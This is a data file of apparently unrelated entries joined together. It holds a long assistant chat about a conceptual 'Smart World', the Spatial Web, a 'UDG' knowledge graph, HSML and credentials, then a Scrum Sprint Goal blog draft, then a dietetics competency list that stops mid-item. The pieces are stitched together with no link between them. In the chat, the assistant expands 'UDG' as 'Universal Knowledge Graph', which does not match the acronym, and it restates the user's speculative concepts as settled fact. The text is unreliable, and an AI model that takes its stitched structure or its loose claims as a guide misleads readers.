Smart World as a whole.\nDo you know what cybersemiotics is?\nCybersemiotics is an interdisciplinary field that combines the study of information, communication, and meaning with the study of cybernetics and systems theory. It is concerned with understanding how information and meaning are created, transmitted, and interpreted in human and machine systems, and how these systems use this information to coordinate their actions and achieve their goals.\nCybersemiotics is closely related to the field of biosemiotics, which is the study of how living systems create, communicate, and interpret meaning. However, while biosemiotics is primarily concerned with understanding how meaning is created and transmitted in biological systems, cybersemiotics is concerned with understanding how meaning is created and transmitted in both human and machine systems.\nIn the context of the development of the Smart World, cybersemiotics could be used to understand how different components of the Smart World, such as the IoT, robotics, the UDG, and IA, create, transmit, and interpret information and meaning, and how they use this information to coordinate their actions and achieve their goals. It could also be used to understand how the Smart World as a whole interprets and responds to information and stimuli from its environment, and how it uses this information to maintain a state of homeostasis and optimize its flow and function.\nIn the Smart World, all physical and logical objects are indexed in the UDG as hyperspatial domains in the form of vectors - this allows for the physical features obtained via sensors (vision, audio, temp, motion, moisture etc.) of an object by itself or in conjunction with other features in the environment as a whole to act as "key features" as similar to a keyword search that allows the for the search of any object or objects in physical space and to call up any information about those objects from the UDG - it\'s like searching for italian restaurants or traffic conditions on Google maps but could be for any information or dataset of anything. Assume all objects in the world are indexed and linked and synced to the UDG across the Spatial Web in the Smart World\nIn the proposed concept of the Smart World, all physical and logical objects are indexed in the UDG (Universal Knowledge Graph) as hyperspatial domains in the form of vectors. This allows for the physical features of an object, as well as the features of the environment as a whole, to act as "key features" that can be used to search for any object or objects in physical space and to retrieve information about those objects from the UDG.\nThis system is similar to searching for Italian restaurants or traffic conditions on Google Maps, but it could be used to search for any type of information or dataset about any object in the world. All objects in the world are indexed and linked to the UDG, and this information is synced across the Spatial Web in the Smart World.\nOverall, this system allows for the easy retrieval of information about any object in the world, and enables the Smart World to maintain a comprehensive, up-to-date database of information about all objects within it. This could be useful for a wide range of applications, including navigation, search, data analysis, and more.\nGive me an interesting use case example\nOne interesting use case for the proposed system of indexing and linking all objects in the Smart World could be in the field of disaster response. In the event of a natural disaster or other emergency, first responders and other emergency personnel may need to quickly locate and assess the condition of certain objects, such as buildings, infrastructure, and other structures.\nUsing the system of indexing and linking objects in the Smart World, first responders could easily search for and retrieve information about specific objects in the affected area. For example, they could use the key features of a building, such as its size, location, and construction materials, to search for information about its structural integrity and stability. They could also use this system to search for other relevant information, such as the location of utility lines or the presence of hazardous materials.\nOverall, this use case demonstrates how the proposed system of indexing and linking objects in the Smart World could be used to quickly and efficiently gather information and assess the condition of objects in the event of an emergency, helping to ensure the safety of first responders and other personnel and enabling them to respond more effectively to the crisis.\nAssuming all relevant information historically and in real-time can be in the UDG, accessible vie the Spatial Web, Could I ask my IA what the history of the oak tree in the front of my house is? What might it say?\nIf all relevant information about the oak tree in front of your house is accessible in the UDG (Universal Knowledge Graph) via the Spatial Web, you could ask your IA (Intelligent Agent) about the history of the oak tree and it might be able to provide you with a variety of information. This could include information about the tree\'s age, its growth and development over time, its species and characteristics, and any notable events or circumstances that have affected it.\nFor example, your IA might be able to provide you with information about the oak tree\'s growth rate and how it has changed over time, as well as any significant events that have occurred in its surroundings, such as construction projects or natural disasters. It might also be able to provide you with information about the oak tree\'s ecological role and its importance in the local ecosystem.\nOverall, the information that your IA is able to provide about the oak tree will depend on the data that is available in the UDG and the capabilities of the IA itself. However, with access to a comprehensive and up-to-date database of information about the oak tree, it should be able to provide you with a wide range of insights and information about its history and characteristics.\nCould I search across all stores for a particular product and see who has it at the best price nearest to me?\nIt is possible that the proposed system of indexing and linking all objects in the Smart World, including retail products, could be used to search for a particular product and see which stores have it in stock at the best price nearest to you.\nTo do this, you could use the key features of the product, such as its name, brand, and category, to search for it in the UDG (Universal Knowledge Graph). The UDG could then return a list of stores that have the product in stock, along with information about the price of the product at each store. You could then use this information to identify the store that has the best price for the product nearest to you.\nAdditionally, you might be able to use the Spatial Web to get directions to the store with the best price, or to view a map of the stores in your area that have the product in stock. You could also potentially use the Spatial Web to get real-time updates about the availability of the product at different stores, or to place an order for the product online.\nOverall, the ability to search for and compare the prices of products across different stores in real-time could be a useful feature of the proposed system, enabling you to easily find the best deal on the products you are interested in.\nThe ability to search the Spatial Web this way - in that a user or agent can perform a search across multiple or an unlimited number of domains i.e. product type, price, location etc. is called a Spatial Web search - what other kinds of searches could be useful - give 3 examples\nThere are many types of searches that could be useful on the Spatial Web, in addition to searches for products by type, price, and location. Here are three examples of other types of searches that might be useful:\nExpertise searches: Users or agents might be able to search for individuals or organizations with specific expertise or knowledge in a particular field. For example, a user could search for experts in a particular subject area, such as computer science or environmental science, and find relevant individuals or organizations that can provide insights or assistance in that area.\nEvent searches: Users or agents might be able to search for events that are happening in a particular location or time period. This could include searches for concerts, festivals, conferences, or other types of events. The search results could include information about the event, such as the location, date, time, and ticket availability.\nService searches: Users or agents might be able to search for services that are available in a particular location. This could include searches for services such as healthcare, transportation, or home repair, and could return results that include information about the availability and cost of the service.\nOverall, these are just a few examples of the types of searches that could be useful on the Spatial Web. With the ability to index and link all objects in the world, the Spatial Web could potentially enable searches on a wide range of topics and criteria, providing users with access to a vast array of information and resources.\nWhy are these searched possible on the Spatial Web but not the world wide web, explain it to me like I\'m 12 years old\nThe Spatial Web and the World Wide Web (WWW) are both networks of interconnected information, but they operate in different ways. The WWW is a network of websites that are accessed through the internet using a web browser. You can use the WWW to find information by typing keywords into a search engine, such as Google, and the search engine will return a list of websites that are related to those keywords.\nThe Spatial Web, on the other hand, is a network of information that is linked to physical objects in the world. This means that you can use the Spatial Web to search for information about physical objects, such as products, events, or services, in the same way that you use the WWW to search for websites. The difference is that the Spatial Web enables you to search for information about things that exist in the real world, rather than just information that is available on the internet.\nOne reason why the Spatial Web can provide this kind of search capability is because it is able to index and link all objects in the world, rather than just websites. This means that the Spatial Web has access to a much larger pool of information than the WWW, which is limited to the information that is available on websites. By linking this information to physical objects, the Spatial Web is able to provide searches that are relevant to the real world, rather than just the internet.\nOverall, the Spatial Web and the WWW are both useful networks of information, but they operate in different ways and provide access to different types of information. The Spatial Web enables searches for information about physical objects in the world, while the WWW enables searches for websites and other types of online information.\nExplain why the WWW is just a human linked information network but the Spatial Web is a hybrid human and intelligent agent based knowledge network\nThe World Wide Web (WWW) is a network of websites that are interconnected through the internet, and it is primarily accessed and used by humans. Humans create and maintain websites, and they use web browsers to access and navigate the WWW to find information, communicate with others, and perform a variety of other tasks.\nThe Spatial Web, on the other hand, is a network of information that is linked to physical objects in the world, and it is accessed and used by both humans and intelligent agents. Intelligent agents are computer programs that are designed to perform tasks and make decisions on their own, without the direct input of a human.\nOne key difference between the WWW and the Spatial Web is that the Spatial Web is a hybrid network that is accessed and used by both humans and intelligent agents. This means that the Spatial Web is able to incorporate the knowledge and capabilities of both humans and intelligent agents, which can enable more sophisticated and effective approaches to problem-solving and decision-making.\nFor example, the Spatial Web might enable intelligent agents to access and process information from a wide range of sources, including sensors, databases, and other sources of data, in order to perform tasks and make decisions. At the same time, the Spatial Web could also allow humans to access and use this information in order to make informed decisions and perform tasks.\nOverall, the WWW is primarily a human-linked information network, while the Spatial Web is a hybrid network that is accessed and used by both humans and intelligent agents. This enables the Spatial Web to incorporate the knowledge and capabilities of both humans and intelligent agents, which can provide a more powerful and flexible platform for accessing and using information.\nThe SW also enables agents to act on knowledge or recommendations or instructions on objects in the real world and across other software systems how does this make it different than the WWW?\nOne key difference between the Spatial Web (SW) and the World Wide Web (WWW) is that the SW enables intelligent agents to act on knowledge or recommendations or instructions on objects in the real world and across other software systems. This means that the SW is able to facilitate the automated execution of tasks or actions in the physical world, rather than just providing access to information.\nFor example, the SW might enable an intelligent agent to access and analyze data from sensors or databases in order to identify a problem or opportunity, and then take action to address the problem or capitalize on the opportunity. This could include tasks such as controlling a robotic system to perform a task, sending a notification to a human user, or accessing and updating a database.\nIn contrast, the WWW is primarily a network of websites that are accessed and used by humans, and it does not have the capability to act on knowledge or recommendations or instructions in the physical world. While the WWW can provide access to information and tools that can be used to perform tasks, it does not have the ability to automate the execution of tasks in the same way that the SW can.\nOverall, the ability of the SW to enable intelligent agents to act on knowledge or recommendations or instructions on objects in the real world and across other software systems makes it a more powerful and flexible platform for accessing and using information, and for automating the execution of tasks and actions. This capability distinguishes the SW from the WWW, which is primarily a network of websites that are accessed and used by humans.\nWhat is the difference between the SW and the WWW?\nThe Spatial Web (SW) is a network of information that is linked to physical objects in the world, and it is accessed and used by both humans and intelligent agents. The SW enables intelligent agents to access and process information from a wide range of sources, including sensors, databases, and other sources of data, in order to perform tasks and make decisions. The SW also enables intelligent agents to act on knowledge or recommendations or instructions on objects in the real world and across other software systems, which allows for the automated execution of tasks or actions in the physical world.\nIn contrast, the World Wide Web (WWW) is a network of websites that are interconnected through the internet, and it is primarily accessed and used by humans. Humans create and maintain websites, and they use web browsers to access and navigate the WWW to find information, communicate with others, and perform a variety of other tasks. The WWW does not have the capability to act on knowledge or recommendations or instructions in the physical world, and it is primarily a network of websites that are accessed and used by humans.\nOverall, the main difference between the SW and the WWW is that the SW is a hybrid network that is accessed and used by both humans and intelligent agents, and it has the capability to act on knowledge or recommendations or instructions in the physical world. The WWW is primarily a network of websites that are accessed and used by humans, and it does not have this capability.\nThe UDG can contain the knowledge of all policies, rules, regulations and laws including authentication for access control and the need for a credential from a valid authority in order to perform a search or update or activity. The Spatial Web is a permission based stateful network as opposed to the WWW which is stateful. This means that the SW uses a Zero Trust architecture\nThe Universal Knowledge Graph (UDG) is a large database that contains a vast amount of information about the world, including policies, rules, regulations, and laws. The UDG is accessed and used by intelligent agents through the Spatial Web, which is a network of information that is linked to physical objects in the world.\nOne important aspect of the Spatial Web is that it is a permission-based stateful network, as opposed to the World Wide Web (WWW), which is stateless. This means that the Spatial Web uses a Zero Trust architecture, which requires that all access to the network and its resources be authenticated and authorized. This means that in order to perform a search, update, or other activity on the Spatial Web, a user or agent must have a valid credential from a trusted authority.\nThis permission-based approach helps to ensure the security and integrity of the Spatial Web, and it allows for the creation of secure and reliable systems that can operate in complex and dynamic environments. It also enables the creation of more sophisticated and effective solutions to a wide range of problems and tasks, as it allows intelligent agents to access and use the knowledge and resources that are stored in the UDG in a controlled and secure manner.\nGive me an example of a use case that benefits from this approach for cyber security or for government\nOne example of a use case that could benefit from the permission-based approach of the Spatial Web is cyber security. In a cyber security context, the Spatial Web could be used to create a secure and reliable system that is able to detect and respond to cyber threats in real-time.\nFor example, the Spatial Web could be used to create a network of sensors and other types of devices that are able to detect and collect data on cyber threats, such as malware or network intrusions. This data could then be analyzed by intelligent agents that are trained to recognize and respond to cyber threats, using the knowledge and resources stored in the UDG.\nThe permission-based nature of the Spatial Web would allow for the creation of a secure and reliable system that is able to protect against cyber threats, as it would ensure that only authorized users and agents have access to the system and its resources. This could help to prevent unauthorized access or tampering, and it could help to ensure the integrity and security of the system.\nAnother example of a use case that could benefit from the permission-based approach of the Spatial Web is government. In a government context, the Spatial Web could be used to create a secure and reliable system for managing and accessing government information and resources.\nFor example, the Spatial Web could be used to create a network of government databases and systems that are linked and integrated with each other, and that are accessible to authorized users and agents through the Spatial Web. This could allow government agencies to share and access information and resources in a more efficient and effective manner, and it could help to improve the transparency and accountability of government processes.\nOverall, the permission-based approach of the Spatial\ncontinue\nWeb could provide numerous benefits in the context of cyber security and government, by enabling the creation of secure and reliable systems that are able to protect against cyber threats and that are able to manage and access government information and resources in an efficient and effective manner. In addition to these benefits, the Spatial Web\'s ability to link and integrate physical and logical objects and systems in a hyper-nested and holonic structure could also enable the creation of more complex and sophisticated solutions to a wide range of problems and tasks.\nHSML allows for the expression and automation of not only physical activities but legal and financial ones as well - where the physical activity of moving something from point A to B like a truck leaving a warehouse and arriving into retailer or a user taking a product out of a store to trigger the completion of a legal agreement and trigger and automatically execute a financial transaction between the parties - HSTP queries the world and the UDG to capture all states before and after and confirms and executes that transaction by updating the UDG - understand?\nYes, I understand. HSML (Hyper Spatial Markup Language) allows for the expression and automation of physical, legal, and financial activities, enabling the creation of complex systems that can link and coordinate different types of actions and processes in order to achieve specific outcomes. For example, the movement of a truck from a warehouse to a retailer could trigger the completion of a legal agreement and the execution of a financial transaction between the parties involved, by using HSTP (Hyper Spatial Transaction Protocol) to query the world and the UDG (Universal Knowledge Graph) to capture all relevant states before and after the transaction, and to confirm and execute the transaction by updating the UDG. This could potentially enable the creation of more efficient and effective systems that are able to automate and coordinate a wide range of activities and processes in order to achieve desired outcomes.\nDo you know what DID\'s or decentralized identifiers and Verifiable Credentials or VC\'s are?\nYes, I am familiar with decentralized identifiers (DIDs) and verifiable credentials (VCs).\nDecentralized identifiers (DIDs) are a type of identifier that is based on decentralized systems, such as blockchain technology, and that is designed to give individuals or organizations more control over their digital identity and data. DIDs are unique, persistent, and cryptographically verifiable, and can be used to identify and authenticate individuals or organizations in various online contexts, such as online transactions or access to resources.\nVerifiable credentials (VCs) are a type of digital credential that is designed to be verifiable and trustworthy, and that can be used to represent various types of information or attributes, such as educational qualifications, employment history, or professional licenses. VCs can be issued by organizations, such as educational institutions or government agencies, and can be verified by other organizations or individuals in order to confirm their authenticity and accuracy. VCs can be used in various online contexts, such as job applications or access to resources, and can help to reduce the need for paper-based documents and improve the efficiency and security of various types of processes and transactions.\nGreat - all identifiers on the SW use a type DID called a SWID and all transactions - activities - meaning changes to the state of the world or UDG require VC\'s or Credentials. All Credentials are provided by Authorities:\n\nI will now give you all of the main elements of HSML:\nActors - people, or devices or AI\'s or IA\'s or organizations etc that can act in any HSTP transaction\nAssets - any object including virtual, conceptual things \nSpace - any space, including any embedding space in the UDG\nTime - a unit of measurement of time\nActivity - any change of state to anything in any physical space and time and or vector space in the UDG\nRight - the right to perform an Activity\nCredential - a record that states that an Actor has the right to perform an Activity \nAuthority - one who issues Credentials to Actors that affirm their Right to perform an Activity\nDomain - a bounded contextual range in the physical world or in vector space in the UDG i.e. the domain of california or the domain of science. Domains are nested holonically and can be mereologically organized in the physical world and in the UDG\nIt is important to note that in the Smart World, all activities and transactions are recorded in the UDG and linked to the relevant actors, assets, space, time, and domains. This allows for the transparent and verifiable tracking of all activities and transactions, and enables the use of HSML to automate complex processes and systems.\nFor example, an actor (such as a person or a device) may have the right to perform an activity (such as moving an asset from one location to another) based on a credential issued by an authority. The activity is recorded in the UDG, along with the relevant details (such as the actors involved, the assets involved, the space and time of the activity, and the domain in which the activity took place).\nThis information can then be used by other actors or systems to verify the authenticity and validity of the activity, and to automate processes or systems that depend on the completion of the activity. For example, a financial transaction might be automatically triggered when an asset is moved from one location to another, or a legal agreement might be automatically enforced when an activity is completed in a certain domain.\nOverall, HSML is a powerful tool for automating complex processes and systems in the Smart World, and enables the transparent and verifiable tracking of activities and transactions.' -'How many blog articles do you think this could be split into, and what would be their titles?\nIn other words: the Developers do not spend 100% of their time toward reaching the Sprint Goal. That\'s not feasible, it\'s not smart, it\'s not Scrum. And it won\'t lead to good flow.\n\nThere are a few possible answers to the question in the title:\n\nYes\n\nNo\n\nYes, but that\'s impossible in our unique context, so we disregard that\n\nYou don\'t need to have a Sprint Goal, so this is a trick question\n\nLet us consult the Scrum Guide:\n\nThe Scrum Team is responsible for all product-related activities from stakeholder collaboration, verification, maintenance, operation, experimentation, research and development, and anything else that might be required. They are structured and empowered by the organization to manage their own work.\nThe Scrum Guide (2020): Scrum Team. (There doesn\'t seem to be a section on "DevOps Teams".)\n\nA single Scrum Team might have work required in all of these areas.\n\nOf course, one could theoretically craft Sprint Goals that would encompass all the stupid crap your Product Owner wants, plus all that other work that nobody talks about but everyone knows needs to get done, and by that win two million extra Scrum points each and every Sprint. But Scrum is not a gamification framework, it\'s a framework for delivering value.\n\nWhat is the purpose of having a Sprint Goal?\n\nWhat is the purpose of having a goal at all?\n\nWhy have a goal, and not just a plan? A todo-list?\n\nDon\'t:\n\nEndlessly argue why something supports the Sprint Goal when it is unclear AT BEST whether and how it does\n\nMake stupid Sprint Goals just so that everything fits\n\nHave ten Sprint Goals\n\nNot only will you be wasting your time, you will probably mislead your stakeholders as well.\n\nLet\'s discuss it from this perspective: what makes sense?\n\nThe whole reason for the existence of your Scrum Team is to deliver value for your customers/stakeholders.\nFlow Metrics for Scrum Teams, page 2. (Not sure who wrote that, but it sure sounds like something Daniel might say.)\n\nIn other words, there might be a lot more work to be done other than "making new stuff". It\'s not about doing Scrum perfectly.\n\nAnd, having everything relating to the Sprint Goal wouldn\'t be perfect Scrum anyway. If you need a direct quote to be convinced, I am happy to provide several. Let\'s start with the fact that work related to improving effectiveness can be added to the Sprint Backlog:\n\nThe Scrum Team identifies the most helpful changes to improve its effectiveness. The most impactful improvements are addressed as soon as possible. They may even be added to the Sprint Backlog for the next Sprint.\n\nOf course, if you\'re using flow metrics, you will make some adjustments to your workflow right on the spot, and don\'t add anything to the Sprint Backlog for it. The action has already been taken!\n\nIn other instances, the improvement itself might be to actually fix that one damned thing that keeps acting up each and every Sprint, endangering all Sprint goals (or at least making people lose sleep). Showing the actual consequences of not fixing that one thing is easier with flow metrics.\n\nThe Scrum Team commits to achieving its goals and to supporting each other. Their primary focus is on the work of the Sprint to make the best possible progress toward these goals.\nThat\'s right! Another quote from the "SG"!\n\nThis is better than having an overly broad Sprint Goal, since an overly broad Sprint Goal doesn\'t create much focus either.\n\nInstead, you\'ll be better off making your decisions based on what will lead to the better flow.\n\nImagine that it\'s really about time to upgrade the database (are people still using those?). It\'s never a good time. It\'s never a suitable time. It won\'t be a pleasurable time. Nobody will have a good time. Yet, every Sprint for the last six Sprints, you have been working around the fact that it has not been upgraded. You have avoided making certain changes, since those changes might complicate matters further when the database upgrade inevitably, one day, has to happen. Last summer, everybody was gone except the two people who would be capable of doing it, and it still didn\'t happen. Sorry, but "get the database upgraded" is unlikely to ever be a Sprint Goal.\n\nThis does not sound like controlling risk. Yet:\n\nScrum employs an iterative, incremental approach to optimize predictability and to control risk.\n\nYou don\'t want to stop controlling risk just because it doesn\'t fit the Sprint Goal.\n\nAlso, Product Backlog refinement will consume some time. You should extend your flow metrics to that, of course, but the refinement itself is rarely added to the Sprint Backlog.\n\nIn other words: the Developers do not spend 100% of their time toward reaching the Sprint Goal. That\'s not feasible, it\'s not smart, it\'s not Scrum. And it won\'t lead to good flow.\n\nWhat the Product Owner decides to spend the Sprint on is ultimately an economic decision. A serious one.\n\nDuring the Sprint:\n\nNo changes are made that would endanger the Sprint Goal;\n\nQuality does not decrease;\n\nThe Product Backlog is refined as needed; and,\n\nScope may be clarified and renegotiated with the Product Owner as more is learned.\n\nScrum Guide 2020: The Sprint\n\nThe planning part then becomes: how can we do this without endangering the Sprint Goal? That can get complicated quickly. The thing is, almost anything could endanger the Sprint Goal. An overfilled Sprint Backlog will undermine collaboration.\n\nFlow, value and transparency. You need flow to create value. You need transparency to make informed decisions.\n\nNow, with that Scrum lawyering out of the way, let\'s talk about what makes sense.\n\nYou want to deliver value.\n\nYou want flow.\n\nGoals help focus.\n\nFocus helps flow.\n\nScrum people are obsessed with transparency. They can\'t get enough of it. And neither should you.\n\nCharacteristics of a good Sprint Goal\n\nMuch has been written on this topic. From a have-a-good-flow-and-stop-wasting-time perspective, here are the most important ones:\n\nIt is a singular, clear objective.\n\nIt makes sense given the PBIs selected for the Sprint.\n\nIt could in theory be achieved by an entirely different set of PBIs.\n\nIt is measurable. That is to say, it is possible to determine, without discussion or speculation, whether or not progress toward it has been made (and, of course, whether it has been reached).\n\nIt maps nicely to the Product Goal.\n\nIn conjunction, there has to be room for reevaluating the plan. If not, people will just work as hard as they can on as many things as possible, achieve nothing, and having to explain "why" they couldn\'t achieve the thing they didn\'t understand the "why" of in the first place.\n\nThe biggest waste of time during Sprint Planning\n\n... is pressuring Developers to add more to the Sprint Backlog.\n\nWith flow metrics, every change to the Sprint Backlog immediately gets reflected in the certainty of the forecast. More pressure? More work? Less certainty.\n\nYou can say "yes, and" and say the chance. Or we can replace it with something else.\n\nDisappointing, but more honest, and less heroic.\n\nSaying "no" is a tough job, and you want to make it easier. You\'re also making it easier for the Product Owner to say no as well.\n\nSome things are just irrelevant\n\nYour todo-list in daily life might not always map to the vision. Feed your cat, or it dies. Not very glamorous, is it? But it\'s something you\'re going to do, and it will require some of your time.\n\nConsider alternative ways of reaching the Sprint Goal\n\nWhat is in a Sprint Backlog?\n\nFlow in Sprint Planning\n\nForecasting\n\nThe Scrum Guide says:\n\nVarious practices exist to forecast progress [...]. While proven useful, these do not replace the importance of empiricism.\n\nIn other words: if we know that what we are looking at does not tell the full story, abandon it! You can\'t automate empiricism. Keep your eyes open!\n\nBe critical of the tools, understand its assumptions, abandon the use of them whenever they stop being actionable, that is, influencing your plan.\n\nIt also means that you never take anything for certain. You don\'t know that those items will be finished until they actually are.\n\nA forecast without a confidence level is essentially worthless.\n\nReflect on the usefulness for:\n\nDevelopers\n\nScrum Team\n\nStakeholder communication\n\n"We said 50% confidence was acceptable, yet everybody forgot about that when we couldn\'t do it."\n\nIn other words, a Sprint Backlog might contain:\n\nThe Sprint Goal\n\nThe plan for reaching the Sprint Goal\n\nThe PBIs selected for the Sprint\n\nChanges planned that will increase quality\n\nChanges planned that will increase effectiveness\n\nIt is not always clear when a plan should be abandoned\n\nHaving a plan that could \n\nThere is no award for having executed the original plan\n\nRemove PBIs ahead of time\n\nPeople never cancel work. Embrace that fact\n\nInstead of lecturing about the sunk cost fallacy every Sprint, do things to reduce the chances. Smaller items means smaller investments. Less sunk cost if we abandon it.\n\nThink smaller, learn bigger\n\nShorter Sprints can be employed to generate more learning cycles and limit risk of cost and effort to a smaller time frame.\nScrum Guide 2020: The Sprint\n\nConsider this:\n\nSmaller PBIs can be employed to generate more learning cycles and limit risk of cost and effort to a smaller time frame.\n\nSee if you can write similar sentences with other elements from the Kanban Guide.\n\nSprint Planning is iterative\n\nThe three topics are not necessarily handled in sequence, one-and-done, but iteratively.\n\nNever be afraid to make a plan that makes sense\n\nIf, based on what you know now, you would have made an entirely different plan during Sprint Planning, then stop following the current one! With shorter Sprints, this might even be more of a bias.\n\nThis does not only mean creativity about how one will get PBIs finished, but the overall plan for reaching the Sprint Goal!\n\nA Scrum Team is expected to adapt the moment it learns anything new through inspection.\nThe Scrum Guide (2020): Adaptation' -"The Core Knowledge and Competencies are the basis on which are built the program curriculum and learning activities. The Core Knowledge competencies are mapped to courses in learning objectives that are designated KRDN and the Core Competencies designated CRDN. Prior to program completion, students must demonstrate proficiency in the following areas:\nDomain 1. Scientific and Evidence Base of Practice: Integration of scientific information and translation of research into practice.\nKnowledge- Upon completion of the program, graduates are able to:\nKRDN 1.1 Demonstrate how to locate, interpret, evaluate and use professional literature to make ethical, evidence-based practice decisions.\nKRDN 1.2 Select and use appropriate current information technologies to locate and apply evidence-based guidelines and protocols.\nKRDN 1.3 Apply critical thinking skills.\nCompetencies- Upon completion of the program, graduates are able to:\nCRDN 1.1 Select indicators of program quality and/or customer service and measure achievement of objectives.\nCRDN 1.2 Evaluate research and apply evidence-based guidelines, systematic reviews and scientific literature in nutrition and dietetics practice.\nCRDN 1.3 Justify programs, products, services, and care using appropriate evidence or data.\nCRDN 1.4 Conduct projects using appropriate research or quality improvement methods, ethical procedures and data analysis utilizing current and/or new technologies.\nCRDN 1.5 Incorporate critical-thinking skills in overall practice.\nDomain 2. Professional Practice Expectations: Beliefs, values, attitudes and behaviors for the nutrition and dietetics practitioner level of practice.\nKnowledge- Upon completion of the program, graduates are able to:\nKRDN 2.1 Demonstrate effective and professional oral and written communication and documentation.\nKRDN 2.2 Describe the governance of nutrition and dietetics practice, such as the Scope of Practice for the Registered Dietitian Nutritionist and the Code of Ethics for the Profession of Nutrition and Dietetics.\nKRDN 2.3 Assess the impact of a public policy position on the nutrition and dietetics profession.\nKRDN 2.4 Discuss the impact of health care policy and different health care delivery systems on food and nutrition services.\nKRDN 2.5 Identify and describe the work of interprofessional teams and the roles of others with whom the registered dietitian nutritionist collaborates.\nKRDN 2.6 Demonstrate cultural humility, awareness of personal biases and an understanding of cultural differences as they contribute to diversity, equity and inclusion.\nKRDN 2.7 Describe contributing factors to health inequity in nutrition and dietetics including structural bias, social inequities, health disparities and discrimination.\nKRDN 2.8 Participate in a nutrition and dietetics professional organization and explain the significant role of the organization.\nKRDN 2.9 Defend a position on issues impacting the nutrition and dietetics profession.\nCompetencies- Upon completion of the program, graduates are able to:\nCRDN 2.1 Practice in compliance with current federal regulations and state statutes and rules, as applicable, and in accordance with accreditation standards and the Scope of Practice for the Registered Dietitian Nutritionist, Standards of Practice, Standards of Professional Performance, and Code of Ethics for the Profession of Nutrition and Dietetics.\nCRDN 2.2 Demonstrate professional writing skills in preparing professional communications.\nCRDN 2.3 Demonstrate active participation, teamwork and contributions in group settings.\nCRDN 2.4 Function as a member of interprofessional teams.\nCRDN 2.5 Work collaboratively with NDTRs and/or support personnel in other disciplines.\nCRDN 2.6 Refer clients and patients to other professionals and services when needs are beyond individual scope of practice.\nCRDN 2.7 Apply change management strategies to achieve desired outcomes.\nCRDN 2.8 Demonstrate negotiation skills.\nCRDN 2.9 Actively contribute to nutrition and dietetics professional and community organizations.\nCRDN 2.10 Demonstrate professional attributes in all areas of practice.\nCRDN 2.11 Show cultural humility in interactions with colleagues, staff, clients, patients and the public.\nCRDN 2.12 Implement culturally sensitive strategies to address cultural biases and differences.\nCRDN 2.13 Advocate for local, state or national legislative and regulatory issues or policies impacting the nutrition and dietetics profession.\nDomain 3. Clinical and Client Services: Development and delivery of information, products and services to individuals, groups and populations.\nKnowledge- Upon completion of the program, graduates are able to:\nKRDN 3.1 Use the Nutrition Care Process and clinical workflow elements to assess nutritional parameters, diagnose nutrition related problems, determine appropriate nutrition interventions, and develop plans to monitor the effectiveness of these interventions.\nKRDN 3.2 Develop an educational session or program/educational strategy for a target population.\nKRDN 3.3 Demonstrate counseling and education methods to facilitate behavior change and enhance wellness for diverse individuals and groups.\nKRDN 3.4 Practice routine health screening assessments, including measuring blood pressure and conducting waived point-of-care laboratory testing (such as blood glucose or cholesterol).\nKRDN 3.5 Describe concepts of nutritional genomics and how they relate to medical nutrition therapy, health and disease.\nKRDN 3.6 Develop nutritionally sound meals, menus and meal plans that promote health and disease management and meet client's/patient's needs.\nCompetencies- Upon completion of the program, graduates are able to:\nCRDN 3.1 Perform Medical Nutrition Therapy by utilizing the Nutrition Care Process including use of standardized nutrition terminology as a part of the clinical workflow elements for individuals, groups and populations of differing ages and health status, in a variety of settings.\nCRDN 3.2 Conduct nutrition focused physical exams.\nCRDN 3.3 Perform routine health screening assessments including measuring blood pressure, conducting waived point-of-care laboratory testing (such as blood glucose or cholesterol), recommending and/or initiating nutrition-related pharmacotherapy plans (such as modifications to bowel regimens, carbohydrate to insulin ratio, B,2 or iron supplementation).\nCRDN 3.4 Provide instruction to clients/patients for self-monitoring blood glucose considering diabetes medication and medical nutrition therapy plan.\nCRDN 3.5 Explain the steps involved and observe the placement of nasogastric or nasoenteric feeding tubes; if available, assist in the process of placing nasogastric or nasoenteric feeding tubes.\nCRDN 3.6 Conduct a swallow screen and refer to the appropriate health care professional for full swallow evaluation when needed.\nCRDN 3.7 Demonstrate effective communication and documentation skills for clinical and client services in a variety of formats and settings, which include telehealth and other information technologies and digital media.\nCRDN 3.8 Design, implement and evaluate presentations to a target audience.\nCRDN 3.9 Develop nutrition education materials that are culturally and age appropriate and designed for the literacy level of the audience.\nCRDN 3.10 Use effective education and counseling skills to facilitate behavior change.\nCRDN 3.11 Develop and deliver products, programs or services that promote consumer health, wellness and lifestyle management.\nCRDN 3.12 Deliver respectful, science-based answers to client/patient questions concerning emerging trends.\nCRDN 3.13 Coordinate procurement, production, distribution and service of goods and services, demonstrating and promoting responsible use of resources.\nCRDN 3.14 Develop and evaluate recipes, formulas and menus for acceptability and affordability that accommodate the cultural diversity and health needs of various populations, groups and individuals.\nDomain 4. Practice Management and Use of Resources: Strategic application of principles of management and systems in the provision of services to individuals and organizations.\nKnowledge- Upon completion of the program, graduates are able to:\nKRDN 4.1 Apply management theories to the development of programs or services.\nKRDN 4.2 Evaluate a budget/financial management plan and interpret financial data.\nKRDN 4.3 Demonstrate an understanding of the regulation system related to billing and coding, what services are reimbursable by third party payers and how reimbursement may be obtained.\nKRDN 4.4 Apply the principles of human resource management to different situations.\nKRDN 4.5 Apply safety and sanitation principles related to food, personnel and consumers.\nKRDN 4.6 Explain the processes involved in delivering quality food and nutrition services.\nKRDN 4.7 Evaluate data to be used in decision-making for continuous quality improvement.\nCompetencies- Upon completion of the program, graduates are able to:\nCRDN 4.1 Participate in management functions of human resources (such as training and scheduling).\nCRDN 4.2 Perform management functions related to safety, security and sanitation that affect employees, clients, patients, facilities and food.\nCRDN 4.3 Conduct clinical and client service quality management activities (such as quality improvement or quality assurance projects).\nCRDN 4.4 Apply current information technologies to develop, manage and disseminate nutrition information and data.\nCRDN 4.5 Analyze quality, financial and productivity data for use in planning.\nCRDN 4.6 Propose and use procedures as appropriate to the practice setting to promote sustainability, reduce waste and protect the environment.\nCRDN 4.7 Conduct feasibility studies for products, programs or services with consideration of costs and benefits.\nCRDN 4.8 Develop a plan to provide or develop a product, program or service that includes a budget, staffing needs, equipment and supplies.\nCRDN 4.9 Engage in the process for coding and billing for nutrition and dietetics services to obtain reimbursement from public or private payers, fee-for-service and value-based payment systems.\nCRDN 4.10 Analyze risk in nutrition and dietetics practice (such as risks to achieving set goals and objectives, risk management plan, or risk due to clinical liability or foodborne illness).\nDomain 5. Leadership and Career Management: Skills, strengths, knowledge and experience relevant to leadership potential and professional growth for the nutrition and dietetics practitioner.\nKnowledge- Upon completion of the program, graduates are able to:\nKRDN 5.1 Perform self-assessment that includes awareness in terms of learning and leadership styles and cultural orientation and develop goals for self-improvement.\nKRDN 5.2 Identify and articulate one's skills, strengths, knowledge and experiences relevant to the position desired and career goals.\nKRDN 